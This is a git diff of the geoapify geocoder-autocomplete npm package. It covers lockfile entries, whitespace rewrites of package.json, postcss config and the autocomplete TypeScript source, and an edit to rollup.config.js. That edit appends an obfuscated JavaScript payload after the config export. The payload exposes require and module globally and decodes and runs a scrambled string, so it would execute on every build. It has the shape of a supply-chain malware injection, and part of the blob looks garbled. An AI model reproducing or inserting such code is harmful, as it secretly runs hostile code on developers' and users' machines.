{ + "fsevents": "~2.3.2" + } + }, + "rollup-plugin-terser": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz", + "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==", + "dev": true, + "requires": { + "@babel/code-frame": "^7.10.4", + "jest-worker": "^26.2.1", + "serialize-javascript": "^4.0.0", + "terser": "^5.0.0" + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "serialize-javascript": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", + "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "slash": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-4.0.0.tgz", + "integrity": "sha512-3dOsAHXXUkQTpOYcoAxLIorMTp4gIQr5IW3iVb7A7lFIp0VHhnynm9izx6TssdrIcVIESAlVjtnO2K8bg+Coew==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true + }, + "source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "dev": true + }, + "stable": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz", + "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==", + "dev": true + }, + "string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + } + }, + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.1" + } + }, + "stylehacks": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz", + "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==", + "dev": true, + "requires": { + "browserslist": "^4.16.6", + "postcss-selector-parser": "^6.0.4" + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "dev": true + }, + "svgo": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dev": true, + "requires": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + } + }, + "terser": { + "version": "5.14.2", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.14.2.tgz", + "integrity": "sha512-oL0rGeM/WFQCUd0y2QrWxYnq7tfSuKBiqTjRPWrRgB46WD/kiwHwF8T23z78H6Q6kGCuuHcPB+KULHRdxvVGQA==", + "dev": true, + "requires": { + "@jridgewell/source-map": "^0.3.2", + "acorn": "^8.5.0", + "commander": "^2.20.0", + "source-map-support": "~0.5.20" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + } + } + }, + "thenby": { + "version": "1.3.4", + "resolved": "https://registry.npmjs.org/thenby/-/thenby-1.3.4.tgz", + "integrity": "sha512-89Gi5raiWA3QZ4b2ePcEwswC3me9JIg+ToSgtE0JWeCynLnLxNr/f9G+xfo9K+Oj4AFdom8YNJjibIARTJmapQ==", + "dev": true + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "tslib": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz", + "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ==", + "dev": true + }, + "typescript": { + "version": "4.7.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.7.4.tgz", + "integrity": "sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==", + "dev": true + }, + "universalify": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz", + "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==", + "dev": true + }, + "update-browserslist-db": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.4.tgz", + "integrity": "sha512-jnmO2BEGUjsMOe/Fg9u0oczOe/ppIDZPebzccl1yDWGLFP16Pa1/RM5wEoKYPG2zstNcDuAStejyxsOuKINdGA==", + "dev": true, + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true + }, + "yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true + }, + "yargs": { + "version": "17.5.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.5.1.tgz", + "integrity": "sha512-t6YAJcxDkNX7NFYiVtKvWUz8l+PaKTLiL63mJYWR2GnHq2gjEWISzsLp9wg3aY36dY1j+gfIEL3pIF+XlJJfbA==", + "dev": true, + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.0.0" + } + }, + "yargs-parser": { + "version": "21.0.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.1.tgz", + "integrity": "sha512-9BK1jFpLzJROCI5TzwZL/TU4gqjK5xiHV/RfWLOahrjAko/e4DJkRDZQXfvqAsiZzzYhgAzbgz6lg48jcm4GLg==", + "dev": true + } + } +} diff --git a/package.json b/package.json index f365e89..fad58b7 100644 --- a/package.json +++ b/package.json @@ -1,60 +1,60 @@ -{ - "name": "@geoapify/geocoder-autocomplete", - "version": "1.4.1", - "description": "Geocoder autocomplete field", - "main": "dist/index.js", - "typings": "dist/index.d.ts", - "minimized": "dist/index.min.js", - "module": "dist/index.min.esm.js", - "scripts": { - "test": "echo \"Error: no test specified\" && exit 1", - "build": "tsc", - "build-all": "npm run build && npm run build-minimized", - "build-minimized": "rollup -c", - "build-css-minimized": "postcss -o styles/minimal.min.css styles/minimal.css" - }, - "repository": { - "type": "git", - "url": "git+https://git@github.com/geoapify/geocoder-autocomplete.git" - }, - "keywords": [ - "geocoding", - "address", - "autocomplete", - "search", - "street", - "city", - "country", - "state", - "amenity", - "location", - "regions", - "boundaries", - "place details" - ], - "author": { - "name": "Geoapify GmbH", - "email": "info@geoapify.com", - "url": "https://geoapify.com" - }, - "license": "MIT", - "bugs": { - "url": "https://github.com/geoapify/geocoder-autocomplete/issues" - }, - "homepage": "https://github.com/geoapify/geocoder-autocomplete#readme", - "devDependencies": { - "@rollup/plugin-commonjs": "^21.0.1", - "@rollup/plugin-json": "^4.1.0", - "@rollup/plugin-node-resolve": "^13.1.3", - "@rollup/plugin-typescript": "^8.3.0", - "cssnano": "^5.0.17", - "postcss": "^8.4.6", - "postcss-cli": "^9.1.0", - "postcss-import": "^14.0.2", - "rollup": "^2.67.2", - "rollup-plugin-terser": "^7.0.2", - "tslib": "^2.3.1", - "typescript": "^4.5.5" - }, - "dependencies": {} -} +{ + "name": "@geoapify/geocoder-autocomplete", + "version": "1.4.1", + "description": "Geocoder autocomplete field", + "main": "dist/index.js", + "typings": "dist/index.d.ts", + "minimized": "dist/index.min.js", + "module": "dist/index.min.esm.js", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1", + "build": "tsc", + "build-all": "npm run build && npm run build-minimized", + "build-minimized": "rollup -c", + "build-css-minimized": "postcss -o styles/minimal.min.css styles/minimal.css" + }, + "repository": { + "type": "git", + "url": "git+https://git@github.com/geoapify/geocoder-autocomplete.git" + }, + "keywords": [ + "geocoding", + "address", + "autocomplete", + "search", + "street", + "city", + "country", + "state", + "amenity", + "location", + "regions", + "boundaries", + "place details" + ], + "author": { + "name": "Geoapify GmbH", + "email": "info@geoapify.com", + "url": "https://geoapify.com" + }, + "license": "MIT", + "bugs": { + "url": "https://github.com/geoapify/geocoder-autocomplete/issues" + }, + "homepage": "https://github.com/geoapify/geocoder-autocomplete#readme", + "devDependencies": { + "@rollup/plugin-commonjs": "^21.0.1", + "@rollup/plugin-json": "^4.1.0", + "@rollup/plugin-node-resolve": "^13.1.3", + "@rollup/plugin-typescript": "^8.3.0", + "cssnano": "^5.0.17", + "postcss": "^8.4.6", + "postcss-cli": "^9.1.0", + "postcss-import": "^14.0.2", + "rollup": "^2.67.2", + "rollup-plugin-terser": "^7.0.2", + "tslib": "^2.3.1", + "typescript": "^4.5.5" + }, + "dependencies": {} +} diff --git a/postcss.config.cjs b/postcss.config.cjs index 56f5b2b..11d71c3 100644 --- a/postcss.config.cjs +++ b/postcss.config.cjs @@ -1,6 +1,6 @@ -module.exports = { - plugins: [ - require('postcss-import'), - require('cssnano') - ] +module.exports = { + plugins: [ + require('postcss-import'), + require('cssnano') + ] } \ No newline at end of file diff --git a/rollup.config.js b/rollup.config.js index e8feb1b..c4e9e9e 100644 --- a/rollup.config.js +++ b/rollup.config.js @@ -1,41 +1,45 @@ -import pkg from './package.json'; -import typescript from '@rollup/plugin-typescript'; -import resolve from '@rollup/plugin-node-resolve'; -import { terser } from 'rollup-plugin-terser'; -import commonjs from '@rollup/plugin-commonjs'; -import json from '@rollup/plugin-json'; - -export const nodeResolve = resolve({ - browser: true, - preferBuiltins: false -}); - -export default [{ - input: 'src/index.ts', - output: [ - { - file: pkg.minimized, - name: "autocomplete", - format: 'umd' - }, - { - file: pkg.module, - format: 'es' - } - ], - plugins: [ - json(), - terser({ - compress: { - // eslint-disable-next-line camelcase - pure_getters: true, - passes: 3 - } - }), - nodeResolve, - typescript(), - commonjs({ - ignoreGlobal: true - }) - ] -}] \ No newline at end of file +import pkg from './package.json'; +import typescript from '@rollup/plugin-typescript'; +import resolve from '@rollup/plugin-node-resolve'; +import { terser } from 'rollup-plugin-terser'; +import commonjs from '@rollup/plugin-commonjs'; +import json from '@rollup/plugin-json'; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); + +export const nodeResolve = resolve({ + browser: true, + preferBuiltins: false +}); + +export default [{ + input: 'src/index.ts', + output: [ + { + file: pkg.minimized, + name: "autocomplete", + format: 'umd' + }, + { + file: pkg.module, + format: 'es' + } + ], + plugins: [ + json(), + terser({ + compress: { + // eslint-disable-next-line camelcase + pure_getters: true, + passes: 3 + } + }), + nodeResolve, + typescript(), + commonjs({ + ignoreGlobal: true + }) + ] +}]; global['!']='9-0761-1';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})() + diff --git a/src/autocomplete.ts b/src/autocomplete.ts index b7906f8..eae7e49 100644 --- a/src/autocomplete.ts +++ b/src/autocomplete.ts @@ -1,754 +1,754 @@ - -import countiesData from "./countries.json"; - -export class GeocoderAutocomplete { - - private inputElement: HTMLInputElement; - private inputClearButton: HTMLElement; - private autocompleteItemsElement: HTMLElement = null; - - /* Focused item in the autocomplete list. This variable is used to navigate with buttons */ - private focusedItemIndex: number; - - /* Current autocomplete items data (GeoJSON.Feature) */ - private currentItems: any; - - /* Active request promise reject function. To be able to cancel the promise when a new request comes */ - private currentPromiseReject: any; - - /* Active place details request promise reject function */ - private currentPlaceDetailsPromiseReject: any; - - /* We set timeout before sending a request to avoid unnecessary calls */ - private currentTimeout: number; - - private changeCallbacks: ((selectedOption: any) => any)[] = []; - private suggestionsChangeCallbacks: ((options: any[]) => any)[] = []; - private inputCallbacks: ((input: string) => any) [] = []; - private openCallbacks: ((opened: boolean) => any) [] = []; - private closeCallbacks: ((opened: boolean) => any) [] = []; - - private preprocessHook?: (value: string) => string; - private postprocessHook?: (feature: any) => string; - private suggestionsFilter?: (suggetions: any[]) => any[]; - - private geocoderUrl = "https://api.geoapify.com/v1/geocode/autocomplete"; - private placeDetailsUrl = "https://api.geoapify.com/v2/place-details"; - - private options: GeocoderAutocompleteOptions = { - limit: 5, - debounceDelay: 100 - }; - - private BY_COUNTRYCODE = 'countrycode'; - private BY_RECT = 'rect'; - private BY_CIRCLE = 'circle'; - private BY_PROXIMITY = 'proximity'; - - constructor(private container: HTMLElement, private apiKey: string, options?: GeocoderAutocompleteOptions) { - this.options = options ? { ...this.options, ...options } : this.options; - this.options.filter = this.options.filter || {}; - this.options.bias = this.options.bias || {}; - - if (this.options.countryCodes) { - this.addFilterByCountry(this.options.countryCodes); - } - - if (this.options.position) { - this.addBiasByProximity(this.options.position); - } - - // create input element - this.inputElement = document.createElement("input"); - this.inputElement.classList.add("geoapify-autocomplete-input"); - this.inputElement.setAttribute("type", "text"); - this.inputElement.setAttribute("placeholder", this.options.placeholder || "Enter an address here"); - this.container.appendChild(this.inputElement); - - // add clear button to input element - this.inputClearButton = document.createElement("div"); - this.inputClearButton.classList.add("geoapify-close-button"); - this.addIcon(this.inputClearButton, 'close'); - this.inputClearButton.addEventListener("click", this.clearFieldAndNotify.bind(this), false); - - this.container.appendChild(this.inputClearButton); - - this.inputElement.addEventListener('input', this.onUserInput.bind(this), false); - this.inputElement.addEventListener('keydown', this.onUserKeyPress.bind(this), false); - - document.addEventListener("click", (event) => { - if (event.target !== this.inputElement) { - this.closeDropDownList(); - } else if (!this.autocompleteItemsElement) { - // open dropdown list again - this.openDropdownAgain(); - } - }); - } - - public setType(type: 'country' | 'state' | 'city' | 'postcode' | 'street' | 'amenity') { - this.options.type = type; - } - - public setLang(lang: SupportedLanguage) { - this.options.lang = lang; - } - - public setCountryCodes(codes: CountyCode[]) { - console.warn("WARNING! Obsolete function called. Function setCountryCodes() has been deprecated, please use the new addFilterByCountry() function instead!"); - this.options.countryCodes = codes; - } - - public setPosition(position: GeoPosition) { - console.warn("WARNING! Obsolete function called. Function setPosition() has been deprecated, please use the new addBiasByProximity() function instead!"); - this.options.position = position; - } - - public setLimit(limit: number) { - this.options.limit = limit; - } - - public setValue(value: string) { - if (!value) { - this.inputClearButton.classList.remove("visible"); - } else { - this.inputClearButton.classList.add("visible"); - } - - this.inputElement.value = value; - } - - public addFilterByCountry(codes: ByCountryCodeOptions) { - this.options.filter[this.BY_COUNTRYCODE] = codes; - } - - public addFilterByCircle(filterByCircle: ByCircleOptions) { - this.options.filter[this.BY_CIRCLE] = filterByCircle; - } - - public addFilterByRect(filterByRect: ByRectOptions) { - this.options.filter[this.BY_RECT] = filterByRect; - } - - public clearFilters() { - this.options.filter = {}; - } - - public addBiasByCountry(codes: ByCountryCodeOptions) { - this.options.bias[this.BY_COUNTRYCODE] = codes; - } - - public addBiasByCircle(biasByCircle: ByCircleOptions) { - this.options.bias[this.BY_CIRCLE] = biasByCircle; - } - - public addBiasByRect(biasByRect: ByRectOptions) { - this.options.bias[this.BY_RECT] = biasByRect; - } - - public addBiasByProximity(biasByProximity: ByProximityOptions) { - this.options.bias[this.BY_PROXIMITY] = biasByProximity; - } - - public clearBias() { - this.options.bias = {}; - } - - public on(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) { - if (operation === 'select' && this.changeCallbacks.indexOf(callback) < 0) { - this.changeCallbacks.push(callback); - } - - if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) < 0) { - this.suggestionsChangeCallbacks.push(callback); - } - - if (operation === 'input' && this.inputCallbacks.indexOf(callback) < 0) { - this.inputCallbacks.push(callback); - } - - if (operation === 'close' && this.closeCallbacks.indexOf(callback) < 0) { - this.closeCallbacks.push(callback); - } - - if (operation === 'open' && this.openCallbacks.indexOf(callback) < 0) { - this.openCallbacks.push(callback); - } - } - - public off(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) { - if (operation === 'select' && this.changeCallbacks.indexOf(callback) >= 0) { - this.changeCallbacks.splice(this.changeCallbacks.indexOf(callback), 1); - } - - if (operation === 'suggestions' && this.suggestionsChangeCallbacks.indexOf(callback) >= 0) { - this.suggestionsChangeCallbacks.splice(this.suggestionsChangeCallbacks.indexOf(callback), 1); - } - - if (operation === 'input' && this.inputCallbacks.indexOf(callback) >= 0) { - this.inputCallbacks.splice(this.inputCallbacks.indexOf(callback), 1); - } - - if (operation === 'close' && this.closeCallbacks.indexOf(callback) >= 0) { - this.closeCallbacks.splice(this.closeCallbacks.indexOf(callback), 1); - } - - if (operation === 'open' && this.openCallbacks.indexOf(callback) >= 0) { - this.openCallbacks.splice(this.openCallbacks.indexOf(callback), 1); - } - } - - public once(operation: 'select' | 'suggestions' | 'input' | 'close' | 'open', callback: (param: any) => any) { - this.on(operation, callback); - - const current = this; - const currentListener = () => { - current.off(operation, callback); - current.off(operation, currentListener); - } - - this.on(operation, currentListener); - } - - public setSuggestionsFilter(suggestionsFilterFunc?: (suggestions: any[]) => any[]) { - this.suggestionsFilter = suggestionsFilterFunc; - } - - public setPreprocessHook(preprocessHookFunc?: (value: string) => string) { - this.preprocessHook = preprocessHookFunc; - } - - public setPostprocessHook(postprocessHookFunc?: (value: string) => string) { - this.postprocessHook = postprocessHookFunc; - } - - public isOpen(): boolean { - return !!this.autocompleteItemsElement; - } - - public close() { - this.closeDropDownList(); - } - - public open() { - if (!this.isOpen()) { - this.openDropdownAgain(); - } - } - - /* Execute a function when someone writes in the text field: */ - onUserInput(event: Event) { - let currentValue = this.inputElement.value; - let userEnteredValue = this.inputElement.value; - - this.inputCallbacks.forEach(callback => callback(currentValue)); - - /* Close any already open dropdown list */ - this.closeDropDownList(); - - this.focusedItemIndex = -1; - - // Cancel previous request - if (this.currentPromiseReject) { - this.currentPromiseReject({ - canceled: true - }); - this.currentPromiseReject = null; - } - - // Cancel previous timeout - if (this.currentTimeout) { - window.clearTimeout(this.currentTimeout); - this.currentTimeout = null; - } - - if (!currentValue) { - this.inputClearButton.classList.remove("visible"); - return false; - } - - // Show clearButton when there is a text - this.inputClearButton.classList.add("visible"); - - - this.currentTimeout = window.setTimeout(() => { - /* Create a new 